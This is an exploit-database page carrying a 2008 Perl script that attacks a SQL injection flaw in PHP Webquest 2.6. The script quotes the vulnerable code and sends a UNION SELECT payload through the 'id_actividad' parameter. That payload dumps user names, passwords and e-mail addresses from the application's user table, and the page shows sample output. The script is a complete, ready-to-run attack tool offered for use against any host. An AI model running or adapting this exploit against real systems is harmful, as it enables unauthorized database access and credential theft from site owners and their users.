[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PHP Webquest 2.6 (id_actividad) Remote SQL Injection Exploit
# Published : 2008-01-08
# Author : ka0x
# Previous Title : EvilBoard 0.1a (SQL/XSS) Multiple Remote Vulnerabilities
# Next Title : OneCMS 2.4 Remote SQL Injection / Upload Vulnerabilities


#!/usr/bin/perl

# PHP Webquest 2.6 Remote SQL Injection Exploit
# coded by ka0x - D.O.M TEAM 2008
# we are: ka0x, an0de, xarnuz

# download spanish: download: http://phpwebquest.org/descargas/phpwebquest-2.6-espanol.zip
# download english: http://phpwebquest.org/descargas/phpwebquest-2.6-international.zip

# vuln in soporte_horizontal_w.php:

# if ($_GET['id_actividad']!=''){ $id_actividad=$_GET['id_actividad']; }
# $sentencia= "SELECT * FROM actividad WHERE id_actividad=".$id_actividad;

# ka0x@domlabs:~# perl phpwebquest.pl http://127.0.0.1/webquest/
#
# [+] connecting in http://127.0.0.1/webquest/...
# [!] user: ka0x  [!] pass: test [!] e-mail: test@test.com

use strict;
use LWP::UserAgent;

my $host = $ARGV[0];
if ($host !~ /^http:/){ $host = 'http://'.$host; }

 if(!$ARGV[0]) {
    print "n[x] PHP Webquest 2.6 Remote SQL Injection exploitn";
    print "[x] written by ka0x - ka0x01[at]gmail.comn";
    print "[x] usage: perl $0 [host]n";
    print "[x] example: http://host.com/PHPWebquestn";
    exit(1);
 }
 
    print "n[+] connecting in $host...n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($host."/soporte_horizontal_w.php?id_actividad=-1/**/union/**/select/**/1,1,1,1,concat(0x5f5f5f5f,0x5b215d20757365723a20,usuario,0x20205b215d20706173733a20,password,0x205b215d20652d6d61696c3a20,e_mail,0x5f5f5f5f)/**/from/**/usuario/*");
    if ($go->content =~ m/____(.*?)____/ms) {
        print "$1n";
    } else {
        print "n[-] exploit failedn";
}

# www.Syue.com [2008-01-08]